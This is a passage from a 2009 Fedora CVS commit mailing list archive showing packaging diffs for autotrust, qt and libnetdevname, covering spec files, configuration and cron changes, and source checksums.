+++ sources	14 Oct 2009 17:48:09 -0000	1.25
@@ -1 +1 @@
-0c696d6fc3f0f1a3766b325f245f9493  highlight-2.12.tar.bz2
+1f5d325e24f25d7d17d223c8ab3a2785  highlight-2.13.tar.bz2



From pwouters at fedoraproject.org  Wed Oct 14 17:55:27 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Wed, 14 Oct 2009 17:55:27 +0000 (UTC)
Subject: rpms/autotrust/EL-5 .cvsignore, 1.2, 1.3 autotrust.conf, 1.1,
	1.2 autotrust.cron, 1.1, 1.2 autotrust.spec, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091014175527.3E4A611C00E5@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/autotrust/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5003

Modified Files:
	.cvsignore autotrust.conf autotrust.cron autotrust.spec 
	sources 
Log Message:
* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
- Updated to autotrust 0.3.1
- Try restarting running nameservers from the autotrust cron job
- Use the "named" version generated by dnssec-configure as trust anchor includes



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/autotrust/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	26 Jan 2009 00:42:41 -0000	1.2
+++ .cvsignore	14 Oct 2009 17:55:26 -0000	1.3
@@ -1 +1,2 @@
 autotrust-0.2.1rc1.tar.gz
+autotrust-0.3.1.tar.gz


Index: autotrust.conf
===================================================================
RCS file: /cvs/extras/rpms/autotrust/EL-5/autotrust.conf,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.conf	26 Jan 2009 00:42:41 -0000	1.1
+++ autotrust.conf	14 Oct 2009 17:55:26 -0000	1.2
@@ -1,95 +1,122 @@
+# include another configfile, so you can split up configuration settings.
+# for example, you can store your dynamica trust anchor configuration in 
+# a file called keys.conf.
+# include: "keys.conf"
+
 # program configuration
 config:
 	# directory to go to for performing autotrust.
 	# by default, autotrust will store files in the current directory.
-	working-dir:		"/var/lib/autotrust"
+	working-dir: "/var/lib/autotrust"
 
 	# where to find the root-hints. 
 	# by default, autotrust uses builtin root hints from libunbound.
-	# root-hints:		"/etc/named.root"
+	# root-hints:			"/etc/named.root"
 
-	# where to log messages. 
-	# by default, logs will be outputted to stderr.
-	log-file:		"/var/log/autotrust.log"
-
-	# where to store state information for trust anchors. 
-	# by default, state information is stored in a file autotrust.state in 
-	# the working directory.
-	state-file:		"/var/lib/autotrust/autotrust.state" 
+	# where to log messages. by default, logs will be outputted to
+	# @logfile at .
+	# If no log-file is given, stderr is used.
+	log-file: "/var/log/autotrust.log"
+
+	# whether to use syslog as logging device. not default.
+	# if set to "yes", the log-file option will be ignored.
+	# use-syslog:			"no"
+
+	# where to store the pid. by default, the pidfile is set to 
+	# @pidfile at .
+	# the pidfile is only used if autotrust runs as daemon.
+	pid-file: "/var/run/autotrust.pid"
+
+	# where to store trust anchor state. by default, it is stored in
+	# @statefile at .
+	state-file: "/var/lib/autotrust/autotrust.state"
 
-	# where to find the the trust anchors (that can be used for Unbound).
+	# where to find the the trust anchors (these can be used for Unbound).
 	# trust-anchor-file:	"trust-anchor.file"
 
-	# where to find the the trust anchors (that can be used for 
+	# where to find the the trust anchors (these can be used for 
 	# BIND9 and Unbound). you can also put your BIND configuration file 
 	# here, though it is recommended to solely put the trusted-keys clause 
 	# in this file and include it in your actual BIND configuration file.
-	trusted-keys-file:	"/etc/pki/dnssec-keys/production.conf"
+	trusted-keys-file:      "/etc/pki/dnssec-keys/named.dnssec.keys"
+	#trusted-keys-file:      "/etc/pki/dnssec-keys/production/*.conf"
+	#trusted-keys-file:      "/etc/pki/dnssec-keys/production/reverse/*.conf"
 
 	# what resolv.conf file to use. 
 	# by default, autotrust doesn't use configured nameservers, but queries 
-	# for the answers himself. By providing your resolver configuration, the
+	# for the answers himself. By providing your resolver configuration, the 
 	# program will run much faster.
-	# resolv-conf:		"/etc/resolv.conf"
+	# resolv-conf:			"/etc/resolv.conf"
 
-	# by default, autotrust makes use of both ipv4 and ipv6. 
-	# setting one of these options to "yes" eliminates the use of the other 
-	# protocol version.
-	# ipv4-only:		"no"
-	# ipv6-only:		"no"
+	# by default, autotrust makes use of both ipv4 and ipv6. setting one of 
+	# these options to "no" eliminates the use of the that protocol version. 
+	# do-ip4: 				"yes"
+	# do-ip6: 				"yes"
 
 	# specify the time when a trust anchor may be added.
 	# by default, add holddown time is 30 days.
-	# add-holddown:		2592000 # 30 days
+	# STRONGLY RECOMMENDED VALUE: 30days or higher
+	# add-holddown:			2592000 # 30 days
 
 	# specify the time when a trust anchor may be removed.
 	# by default, del holddown time is 30 days.
-	# del-holddown:		2592000 # 30 days
+	# STRONGLY RECOMMENDED VALUE: 30days or higher
+	# del-holddown:			2592000 # 30 days
 
 	# how many times must a pending trust anchor be seen, before adding it 
 	# to the valid trust anchor set. by default, 2 times.
 	# STRONGLY RECOMMENDED VALUE: 2 or higher
-	# pending-count:	2
+	# pending-count:		2
 
 	# keep trust anchors with the START state in the state information file.
 	# by default, trust anchors in the state START are not stored.
-	# keep-start:		"no"
+	# keep-start:			"no"
 
 	# keep trust anchors with the REMOVED state in the state information.
 	# by default, trust anchors in the state REMOVED are not stored.
-	# keep-removed:		"no"
+	# keep-removed:			"no"
+
+	# Fedora/EPEL: nameservers are restarted via the autostart.cron job
+	# instead of via resolver-pidfile/resolver-reload
 
 	# the pidfile that stores the process id of your resolver.
 	# by default, autotrust does not know about your resolver and will not 
-	# signal resolvers.
-	# resolver-pidfile:		"/var/run/named/named.pid"
-	resolver-pidfile: "/var/run/unbound/unbound.pid /var/run/named/named.pid"
+	# signal resolvers. You may configure multiple resolver pidfiles.
+	# resolver-pidfile: "/var/run/unbound/unbound.pid"
+	# resolver-pidfile: "/var/run/named/named.pid"
+
+	# you may also specify the reload command to be executed.
+	# resolver-reload:		"unbound-control reload"
+	# resolver-reload:		"rndc reload"
 
 	# if you use Unbound, you can specify the Undbound configuration 
 	# here, so that autotrust uses the same configuration. This option was 
 	# built in for debugging purposes (to configure stub zones), and is 
 	# considered experimental.
-	unbound-conf:		"/etc/unbound/unbound.conf"
-
+	unbound-conf:			"/etc/unbound/unbound.conf"
+	
 	# specify the time when a missing trust anchor may not be used 
 	# as valid trust anchor anymore. If keep-missing is 0, missing keys 
 	# are never removed (unless revoked), which is the default.
 	# STRONGLY RECOMMENDED VALUE: 0, or 1year or higher
-	# keep-missing:		31536000 # 1 year
+	# keep-missing:			31536000 # 1 year
 
 	# log if keys gone missing, regardless of the used verbosity level.
 	# on by default.
-	# alert-missing:	"yes"
+	# alert-missing:		"yes"
+
+	# run autotrust as daemon. By default "no".
+	# daemonize:			"no"
 
 	# if you have a superior trust point configured, the subordinate trust 
 	# anchors will be removed after 180 days after the superior trust point 
 	# was introduced. by default, this option is disabled, you may enable it 
 	# by setting 'superior-trust' to "yes".
 	# THIS OPTION IS NOT IMPLEMENTED YET
-	# superior-trust:	"yes"
+	# superior-trust:		"no"
 
 	# set the level of verbosity. default it it set to 1. the higher this 
 	# number, the more log messages you will get. if you want no 
 	# output at all, set verbosity to 0 (you will log only error and 
 	# warning messages).
-	# verbosity:		1
+	# verbosity:			1


Index: autotrust.cron
===================================================================
RCS file: /cvs/extras/rpms/autotrust/EL-5/autotrust.cron,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.cron	26 Jan 2009 00:42:41 -0000	1.1
+++ autotrust.cron	14 Oct 2009 17:55:26 -0000	1.2
@@ -2,3 +2,7 @@
 
 # Check for updated and revoked  DNSKEY trust anchors daily
 /usr/sbin/autotrust
+# lets try and restart (caching) nameservers ourselves, it produces
+# less errors then when autotrust attempts this.
+/sbin/service unbound try-restart
+/sbin/service named try-restart


Index: autotrust.spec
===================================================================
RCS file: /cvs/extras/rpms/autotrust/EL-5/autotrust.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- autotrust.spec	26 Jan 2009 00:42:41 -0000	1.1
+++ autotrust.spec	14 Oct 2009 17:55:26 -0000	1.2
@@ -1,19 +1,16 @@
-%define prever rc1
-%define VERSION %{version}%{prever}
-
 Summary: DNSKEY trust anchor update utility that uses RFC-5011
 Name: autotrust
-Version: 0.2.1
-Release: 0.2.%{prever}%{?dist}
+Version: 0.3.1
+Release: 1%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/%{name}/
-Source: http://www.nlnetlabs.nl/downloads/%{name}-%{VERSION}.tar.gz
+Source: http://www.nlnetlabs.nl/downloads/%{name}-%{version}.tar.gz
 Source1: autotrust.conf
 Source2: autotrust.cron
 Group: System Environment/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: ldns-devel >= 1.3.0, unbound-devel >= 1.0.0
-Requires: anacron
+Requires: anacron, dnssec-conf
 
 %description
 autotrust takes care of keeping your DNSSEC trust anchors up to date. It
@@ -22,7 +19,7 @@ autotrust is meant to run from commandli
 follow the values recommended by RFC5011, autotrust should run as daemon. 
 
 %prep
-%setup -q -n autotrust-%{VERSION}
+%setup -q
 
 %build
 %configure --disable-rpath 
@@ -37,6 +34,7 @@ mkdir -p %{buildroot}%{_localstatedir}/l
 mkdir -p %{buildroot}%{_sysconfdir}/cron.daily/
 install -m 644 %{SOURCE1} %{buildroot}%{_sysconfdir}/%{name}/
 install -m 755 %{SOURCE2} %{buildroot}%{_sysconfdir}/cron.daily/autotrust
+rm %{buildroot}%{_sysconfdir}/%{name}/autotrust.conf.sample
 
 %clean
 rm -rf %{buildroot}
@@ -52,6 +50,11 @@ rm -rf %{buildroot}
 %attr(0755,root,root) %{_sysconfdir}/cron.daily/autotrust
 
 %changelog
+* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
+- Updated to autotrust 0.3.1
+- Try restarting running nameservers from the autotrust cron job
+- Use the "named" version generated by dnssec-configure as trust anchor includes
+
 * Wed Jan 21 2009 Paul Wouters <paul at xelerance.com> - 0.2.1-0.2.rc1
 - Drop sysconfig argument for configure
 - Merged changelog entry to avoid rpm warning 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/autotrust/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	26 Jan 2009 00:42:41 -0000	1.2
+++ sources	14 Oct 2009 17:55:26 -0000	1.3
@@ -1 +1,2 @@
 663254fbd41176e3b13952bffd49a21c  autotrust-0.2.1rc1.tar.gz
+ff0177aa0df8c645829fc26de2ac0b54  autotrust-0.3.1.tar.gz



From pwouters at fedoraproject.org  Wed Oct 14 18:03:31 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Wed, 14 Oct 2009 18:03:31 +0000 (UTC)
Subject: rpms/autotrust/devel autotrust.spec,1.5,1.6
Message-ID: <20091014180331.B211711C00E5@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/autotrust/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6933

Modified Files:
	autotrust.spec 
Log Message:
* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-2
- Bump for EVR



Index: autotrust.spec
===================================================================
RCS file: /cvs/extras/rpms/autotrust/devel/autotrust.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- autotrust.spec	14 Oct 2009 16:39:44 -0000	1.5
+++ autotrust.spec	14 Oct 2009 18:03:31 -0000	1.6
@@ -1,7 +1,7 @@
 Summary: DNSKEY trust anchor update utility that uses RFC-5011
 Name: autotrust
 Version: 0.3.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/%{name}/
 Source: http://www.nlnetlabs.nl/downloads/%{name}-%{version}.tar.gz
@@ -50,6 +50,9 @@ rm -rf %{buildroot}
 %attr(0755,root,root) %{_sysconfdir}/cron.daily/autotrust
 
 %changelog
+* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-2
+- Bump for EVR
+
 * Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
 - Updated to autotrust 0.3.1
 - Try restarting running nameservers from the autotrust cron job



From rdieter at fedoraproject.org  Wed Oct 14 18:18:36 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 14 Oct 2009 18:18:36 +0000 (UTC)
Subject: rpms/qt/F-12 qt.spec,1.336,1.337
Message-ID: <20091014181836.D108811C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9874

Modified Files:
	qt.spec 
Log Message:
* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.3-5
- drop needless Prereq: /etc/ld.so.conf.d



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.336
retrieving revision 1.337
diff -u -p -r1.336 -r1.337
--- qt.spec	10 Oct 2009 20:14:41 -0000	1.336
+++ qt.spec	14 Oct 2009 18:18:36 -0000	1.337
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 4%{?dist}
+Release: 5%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -141,7 +141,9 @@ Source31: hi48-app-qt4-logo.png
 %define _qt4_sysconfdir %{_sysconfdir}
 %define _qt4_translationdir %{_datadir}/qt4/translations
 
+%if "%{_qt4_libdir}" != "%{_libdir}"
 Prereq: /etc/ld.so.conf.d
+%endif
 
 BuildRequires: dbus-devel >= 0.62
 BuildRequires: cups-devel
@@ -970,6 +972,9 @@ fi
 
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 4.5.3-5
+- drop needless Prereq: /etc/ld.so.conf.d
+
 * Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
 - fix translation build issue
 - rhel cleanup



From praveenp at fedoraproject.org  Wed Oct 14 18:22:48 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:22:48 +0000 (UTC)
Subject: rpms/libnetdevname/devel import.log, NONE,
	1.1 libnetdevname-fix_exit_in_library.patch, NONE,
	1.1 libnetdevname.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091014182248.75EAD11C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10729/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libnetdevname-fix_exit_in_library.patch 
	libnetdevname.spec 
Log Message:
libnetdevname in devel



--- NEW FILE import.log ---
libnetdevname-0_0_3-3:HEAD:libnetdevname-0.0.3-3.src.rpm:1255544598

libnetdevname-fix_exit_in_library.patch:
 netdevname.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libnetdevname-fix_exit_in_library.patch ---
diff --git a/netdevname.c b/netdevname.c
index 864f324..acf3911 100644
--- a/netdevname.c
+++ b/netdevname.c
@@ -100,6 +100,6 @@ void show_pathname_usage(void) {
 	"\t/dev/net/ethN\n"
 	"\t/dev/net/by-chassis-label/Embedded_NIC_N\n"
 	"\t/dev/net/by-mac/xx:xx:xx:xx:xx:xx\n\n");
-	exit(1);
+	return 0;
 }
 	


--- NEW FILE libnetdevname.spec ---
%define release_name libnetdevname

# opensuse naming comvintion: http://en.opensuse.org/Shared_Library_Packaging_Policy 
%if 0%{?suse_version} >= 1100
%define release_name libnetdevname0
%endif

Name: %{release_name}
Version: 0.0.3
Release: 3
Summary: A library that provides network name mappings
License: MIT
Group: System Environment/Libraries
Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Source: http://linux.dell.com/netdevname/download/netdevname/libnetdevname-%{version}/libnetdevname-%{version}.tar.bz2
patch0:	%{name}-fix_exit_in_library.patch
URL: http://linux.dell.com/netdevname
#Provides: %{release_name} = %{version}-%{release}
Obsoletes: %{release_name} < %{version}-%{release}
#BuildRequires: libgcc
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description
This library provides interface for mapping network path names
to kernel names

%package devel
Summary: Development environment for libnetdevname
Group: Development/Libraries
Requires: %{release_name} = %version-%release glibc-devel
#Provides: %{release_name}-devel = %{version}-%{release}
Obsoletes: %{release_name}-devel < %{version}-%{release}
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description devel
This package contains development files required to build
libnetdevname-based software.

%prep
%setup -q -n libnetdevname-%{version}
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
mkdir %{buildroot}
make install DESTDIR="%{buildroot}" INSTALL="%{__install} "

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%_libdir/*.so.*
%doc README LICENSE ChangeLog NEWS

%files devel
%defattr(-,root,root,-)
%_libdir/*.so
%_includedir/*
%doc README LICENSE ChangeLog NEWS

%changelog

* Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
- Fixed all the errors/warnings thrown out by rpmlint

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-2
-More changes to the netdev_pathname_to_name function
-Added show_pathname_usage function

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-1
-API changes
-Handling /dev/net/tun

* Thu Sep 17 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-3
-The absence of the map file broke the build. Adding it.

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-2
-fix argv overflow when over-writing with the mapped interface name

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-1
-Adding README content

* Mon Sep 7 2009 Narendra K <narendra_k at dell.com> 0.0.2-1
- Initial RPM Release







Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:09:46 -0000	1.1
+++ .cvsignore	14 Oct 2009 18:22:48 -0000	1.2
@@ -0,0 +1 @@
+libnetdevname-0.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:09:46 -0000	1.1
+++ sources	14 Oct 2009 18:22:48 -0000	1.2
@@ -0,0 +1 @@
+15c0b2d86c32690aedd197c876404549  libnetdevname-0.0.3.tar.bz2



From praveenp at fedoraproject.org  Wed Oct 14 18:24:37 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:24:37 +0000 (UTC)
Subject: rpms/libnetdevname/EL-4 import.log, NONE,
	1.1 libnetdevname-fix_exit_in_library.patch, NONE,
	1.1 libnetdevname.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091014182437.49AEE11C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11486/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libnetdevname-fix_exit_in_library.patch 
	libnetdevname.spec 
Log Message:
libnetdevname in EL-4



--- NEW FILE import.log ---
libnetdevname-0_0_3-3:EL-4:libnetdevname-0.0.3-3.src.rpm:1255544700

libnetdevname-fix_exit_in_library.patch:
 netdevname.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libnetdevname-fix_exit_in_library.patch ---
diff --git a/netdevname.c b/netdevname.c
index 864f324..acf3911 100644
--- a/netdevname.c
+++ b/netdevname.c
@@ -100,6 +100,6 @@ void show_pathname_usage(void) {
 	"\t/dev/net/ethN\n"
 	"\t/dev/net/by-chassis-label/Embedded_NIC_N\n"
 	"\t/dev/net/by-mac/xx:xx:xx:xx:xx:xx\n\n");
-	exit(1);
+	return 0;
 }
 	


--- NEW FILE libnetdevname.spec ---
%define release_name libnetdevname

# opensuse naming comvintion: http://en.opensuse.org/Shared_Library_Packaging_Policy 
%if 0%{?suse_version} >= 1100
%define release_name libnetdevname0
%endif

Name: %{release_name}
Version: 0.0.3
Release: 3
Summary: A library that provides network name mappings
License: MIT
Group: System Environment/Libraries
Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Source: http://linux.dell.com/netdevname/download/netdevname/libnetdevname-%{version}/libnetdevname-%{version}.tar.bz2
patch0:	%{name}-fix_exit_in_library.patch
URL: http://linux.dell.com/netdevname
#Provides: %{release_name} = %{version}-%{release}
Obsoletes: %{release_name} < %{version}-%{release}
#BuildRequires: libgcc
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description
This library provides interface for mapping network path names
to kernel names

%package devel
Summary: Development environment for libnetdevname
Group: Development/Libraries
Requires: %{release_name} = %version-%release glibc-devel
#Provides: %{release_name}-devel = %{version}-%{release}
Obsoletes: %{release_name}-devel < %{version}-%{release}
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description devel
This package contains development files required to build
libnetdevname-based software.

%prep
%setup -q -n libnetdevname-%{version}
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
mkdir %{buildroot}
make install DESTDIR="%{buildroot}" INSTALL="%{__install} "

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%_libdir/*.so.*
%doc README LICENSE ChangeLog NEWS

%files devel
%defattr(-,root,root,-)
%_libdir/*.so
%_includedir/*
%doc README LICENSE ChangeLog NEWS

%changelog

* Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
- Fixed all the errors/warnings thrown out by rpmlint

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-2
-More changes to the netdev_pathname_to_name function
-Added show_pathname_usage function

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-1
-API changes
-Handling /dev/net/tun

* Thu Sep 17 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-3
-The absence of the map file broke the build. Adding it.

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-2
-fix argv overflow when over-writing with the mapped interface name

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-1
-Adding README content

* Mon Sep 7 2009 Narendra K <narendra_k at dell.com> 0.0.2-1
- Initial RPM Release







Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:09:46 -0000	1.1
+++ .cvsignore	14 Oct 2009 18:24:36 -0000	1.2
@@ -0,0 +1 @@
+libnetdevname-0.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:09:46 -0000	1.1
+++ sources	14 Oct 2009 18:24:37 -0000	1.2
@@ -0,0 +1 @@
+15c0b2d86c32690aedd197c876404549  libnetdevname-0.0.3.tar.bz2



From praveenp at fedoraproject.org  Wed Oct 14 18:28:43 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:28:43 +0000 (UTC)
Subject: rpms/libnetdevname/EL-5 import.log, NONE,
	1.1 libnetdevname-fix_exit_in_library.patch, NONE,
	1.1 libnetdevname.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091014182843.D662E11C00E5@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13165/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log libnetdevname-fix_exit_in_library.patch 
	libnetdevname.spec 
Log Message:
libnetdevname in EL-5



--- NEW FILE import.log ---
libnetdevname-0_0_3-3:EL-5:libnetdevname-0.0.3-3.src.rpm:1255544949

libnetdevname-fix_exit_in_library.patch:
 netdevname.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libnetdevname-fix_exit_in_library.patch ---
diff --git a/netdevname.c b/netdevname.c
index 864f324..acf3911 100644
--- a/netdevname.c
+++ b/netdevname.c
@@ -100,6 +100,6 @@ void show_pathname_usage(void) {
 	"\t/dev/net/ethN\n"
 	"\t/dev/net/by-chassis-label/Embedded_NIC_N\n"
 	"\t/dev/net/by-mac/xx:xx:xx:xx:xx:xx\n\n");
-	exit(1);
+	return 0;
 }
 	


--- NEW FILE libnetdevname.spec ---
%define release_name libnetdevname

# opensuse naming comvintion: http://en.opensuse.org/Shared_Library_Packaging_Policy 
%if 0%{?suse_version} >= 1100
%define release_name libnetdevname0
%endif

Name: %{release_name}
Version: 0.0.3
Release: 3
Summary: A library that provides network name mappings
License: MIT
Group: System Environment/Libraries
Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Source: http://linux.dell.com/netdevname/download/netdevname/libnetdevname-%{version}/libnetdevname-%{version}.tar.bz2
patch0:	%{name}-fix_exit_in_library.patch
URL: http://linux.dell.com/netdevname
#Provides: %{release_name} = %{version}-%{release}
Obsoletes: %{release_name} < %{version}-%{release}
#BuildRequires: libgcc
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description
This library provides interface for mapping network path names
to kernel names

%package devel
Summary: Development environment for libnetdevname
Group: Development/Libraries
Requires: %{release_name} = %version-%release glibc-devel
#Provides: %{release_name}-devel = %{version}-%{release}
Obsoletes: %{release_name}-devel < %{version}-%{release}
%if 0%{?suse_version} >= 1100
    # in sles 11 self-provides are done automatically
    %undefine Provides
%endif

%description devel
This package contains development files required to build
libnetdevname-based software.

%prep
%setup -q -n libnetdevname-%{version}
%patch0 -p1

%build
%configure --disable-static
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
mkdir %{buildroot}
make install DESTDIR="%{buildroot}" INSTALL="%{__install} "

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%_libdir/*.so.*
%doc README LICENSE ChangeLog NEWS

%files devel
%defattr(-,root,root,-)
%_libdir/*.so
%_includedir/*
%doc README LICENSE ChangeLog NEWS

%changelog

* Tue Oct 06 2009 Srinivas Ramanatha <srinivas_ramanatha at dell.com> 0.0.3-3
- Fixed all the errors/warnings thrown out by rpmlint

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-2
-More changes to the netdev_pathname_to_name function
-Added show_pathname_usage function

* Fri Sep 25 2009 Narendra K <narendra_k at dell.com> 0.0.3-1
-API changes
-Handling /dev/net/tun

* Thu Sep 17 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-3
-The absence of the map file broke the build. Adding it.

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-2
-fix argv overflow when over-writing with the mapped interface name

* Wed Sep 16 2009 Sandeep K Shandilya <sandeep_k_shandilya at dell.com> 0.0.2-1
-Adding README content

* Mon Sep 7 2009 Narendra K <narendra_k at dell.com> 0.0.2-1
- Initial RPM Release







Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:09:46 -0000	1.1
+++ .cvsignore	14 Oct 2009 18:28:43 -0000	1.2
@@ -0,0 +1 @@
+libnetdevname-0.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libnetdevname/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:09:46 -0000	1.1
+++ sources	14 Oct 2009 18:28:43 -0000	1.2
@@ -0,0 +1 @@
+15c0b2d86c32690aedd197c876404549  libnetdevname-0.0.3.tar.bz2



From praveenp at fedoraproject.org  Wed Oct 14 18:30:41 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Wed, 14 Oct 2009 18:30:41 +0000 (UTC)
Subject: rpms/libnetdevname/F-12 import.log, NONE,
	1.1 libnetdevname-fix_exit_in_library.patch, NONE,
	1.1 libnetdevname.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources,
	1.1, 1.2
Message-ID: <20091014183041.A78E711C0268@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/libnetdevname/F-12
